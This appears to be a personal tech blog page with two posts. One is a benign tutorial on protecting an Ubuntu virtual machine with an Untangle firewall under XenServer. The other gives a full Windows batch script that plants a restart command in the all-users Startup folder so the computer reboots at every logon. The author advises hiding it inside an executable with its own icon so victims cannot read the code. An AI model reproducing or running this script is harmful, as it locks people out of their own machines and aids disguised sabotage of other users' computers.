‘Technology’ Category

XenServer: Protecting Ubuntu with Untangle

This is a tutorial on how to install and protect Ubuntu with Untangle, while both run as virtual machines within XenServer. This setup allows you to protect one virtual machine with a second virtual machine on the same physical system. The biggest advantages to this setup include a lower cost of energy, lower cost of hardware and smaller physical footprint.

The image below shows Ubuntu and Untangle being displayed using the XenCenter Management Console. Untangle is blocking Ubuntu from accessing Facebook.

Click on the image to enarge it.

What you will need:

• XenServer-5.5.0-Update2-install-cd.iso (Here)
• XenServer-5.5.0-Update2-linux-cd.iso (Here)
• XenServer-5.5.0-Update2-XenCenter.msi (Here)
• ubuntu-9.10-desktop-amd64.iso (Here)
• untangle_720_amd64.iso (Here)
• Two CD-RW discs or 4 CD-R discs
• One dedicated server
• One workstation computer

Instructions:

1. Burn the XenServer Install CD ISO to one of your CD’s and burn the XenServer Linux CD ISO to one of the other CD’s.
2. Install XenCenter onto your Windows workstation. (Linux users can use OpenXenCenter).
3. Insert the XenServer CD into your server and boot to the disc drive.
4. Follow the prompts to install and configure your server, including setting a static IP address.
5. When asked to do so, insert the Linux Guest Support CD into the server’s disc drive and continue with the install.
6. After the install is finished, boot to the hard drive where you installed XenServer.
7. Connect to your XenServer using XenCenter on your workstation.  Enter the static IP address you set and the root password you created during the configuration of your server.
8. Check the box next to your server in the activation window.  Click on Activate, enter the information into the browser activation form and submit it.
9. After registering, you will receive an email that includes the license key as an attachment.  Save the license file to your hard drive.
10. In XenCenter, go to Server > Install License Key, navigate to the folder where license.xslic is located and click Open.
11. Create a single virtual internal network. (Click on your server, Network tab > Add Network > Internal Network)
12. Create one virtual machine for Untangle, giving it the physical external network and virtual internal network.  (VM > New | Template “Other Install Media” | Name “Untangle” | Location “Physical DVD Drive” | CPU & Memory “Initial Memory 1024MB” | Virtual Disks “Add” > 70GB | Virtual Interfaces “External Physical & Internal Virtual”)
13. Create one virtual machine for Ubuntu, giving it ONLY the virtual internal network.  (VM > New | Template “Other Install Media” | Name “Ubuntu” | Location “Physical DVD Drive” | CPU & Memory “Initial Memory 2048MB” | Virtual Disks “Add” > 100GB | Virtual Interfaces “Internal Virtual”)
14. Erase the first CD-RW, or burn Ubuntu to one of the empty CD-R discs.
15. Erase the second CD-RW, or burn Untangle to one of the empty CD-R discs.
16. Insert the Ubuntu CD into the server’s disc drive, start the Ubuntu VM and run the install using the Normal Mode.
17. Insert the Untangle CD into the server’s disc drive, start the Untangle VM and run the install using the Expert Mode. (During the install you can only use the keyboard.  After it finishes, the mouse is usable.)

After installing, Ubuntu will load to its desktop and Untangle to its initial startup screen.  Finish the Untangle setup and close the browser window.  You should now see the options menu at the bottom of the screen.  We are going to need to use the terminal to change the screen resolution.

Fixing the screen resolution:

In Untangle, open the terminal and enter the root password you created during the install.  Enter the following into the terminal:

cd /etc/X11
cp xorg.conf xorg.conf.bak
editor xorg.conf

Enter or change what is shown below:

Section “Monitor”
Identifier “Configured Monitor”
HorizSync 40.00 – 150.00
VertRefresh 60.0
VendorName “Generic”
ModelName “Generic”
EndSection

Section “Screen”
Identifier “Default Screen”
Device “Configured Video Device”
Monitor “Configured Monitor”
SubSection “Display”
Viewport 0 0
Depth 24
EndSubSection
EndSection

In Ubuntu, open the terminal and enter the root password you created during the install. Enter the following into the terminal:

sudo passwd root
sudo X -configure
cp /etc/X11/xorg.conf /etc/X11/xorg.conf.bak
cd /
sudo gedit xorg.conf.new

Edit the monitor section to be:

Section “Monitor”
Identifier “Monitor0″
HorizSync 40.00 – 150.00
VertRefresh 60.0
VendorName “Generic”
ModelName “Generic”
EndSection

Click on: File > Save As > Folder (/etc/X11) | xorg.conf

Log off and sign in

The resolution should now be 1152×864 in Ubuntu and 1024×768 in Untangle.

You have accomplished:

• Installing the bare metal hypervisor XenServer onto a dedicated server.
• Configuring two virtual machines to communicate over a virtual network connection.
• Modifying xorg.conf to be able to use a larger resolution.
• Protecting one operating system, with a second operating system.

An Infinite Restart Script for Windows Operating Systems

In one of my classes at CPTC, we started to learn how to write Windows Batch Scripts. Myself and a few of my classmates almost got into trouble (not really though) a few weeks ago, by sending messages through the use of shutdown commands over the LAN. Last week, I started to think about how could I have the computer restart every time a user tries to log on to their computer. Finally, after shifting code around for a while, I came up with a reliable script to do what I wanted it to do.

Upon execution, this Windows Batch Script will create a file called “restart.bat” that includes the command to immediately restart the computer. This file is then moved to the Startup folder for all users. After the file is moved, the user that is currently logged in will be logged off. When the user attempts to log on to the computer again, the computer will restart. Now every time the user tries to log on to the computer, it will automatically restart.

This is a script that will annoy just about everyone. One change that I have come up with is to package the restart script into an executable, then package that executable into a second executable, which includes a script that is similar to what you see below. Now instead of running a script, you run an executable with your own icon. The result is exactly the same, but masking it behind an executable makes it so that the user cannot view the code.

To remove the restart script/executable from your Startup folder, you have to boot into Safe Mode. This can be done by pressing the F8 key on your keyboard, before the Windows loading bar screen appears. After you boot into Safe Mode, go to (Start > All Programs > Startup) and delete the file that is causing your computer to restart. If the script used is the one below, then you would delete restart.bat.

:: Windows OS Infinite Restart Script
:: This script will cause a Windows OS to immediately restart after logging in to a user account.
:: Created by Andrew R. DeFilippis on February 22, 2010
:: http://www.andrewdefilippis.com/

@ECHO OFF
:: Disable echo commands from printing on screen

ECHO ^@ECHO OFF > restart.bat
ECHO SHUTDOWN /r /t 0 >> restart.bat
ECHO EXIT >> restart.bat

VER | FIND “5.1″ > NUL
IF ERRORLEVEL 0 GOTO OLD
VER | FIND “5.2″ > NUL
IF ERRORLEVEL 0 GOTO OLD
:: Determine what OS version is being used

GOTO NEW
:: If OS version 5.1 or 5.2 is not found, then go to NEW

:OLD
MOVE “restart.bat” “C:\Documents and Settings\All Users\Start Menu\Programs\Startup\restart.bat”
SHUTDOWN /l /f
EXIT
:: Inject the restart script into older Windows OS’s
:: Then log off the current user

:NEW
MOVE “restart.bat” “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\restart.bat”
SHUTDOWN /l /f
EXIT
:: Inject the restart script into newer Windows OS’s
:: Then log off the current user

This script is posted for educational purposes only.

I am NOT liable for the use and/or misuse of this script.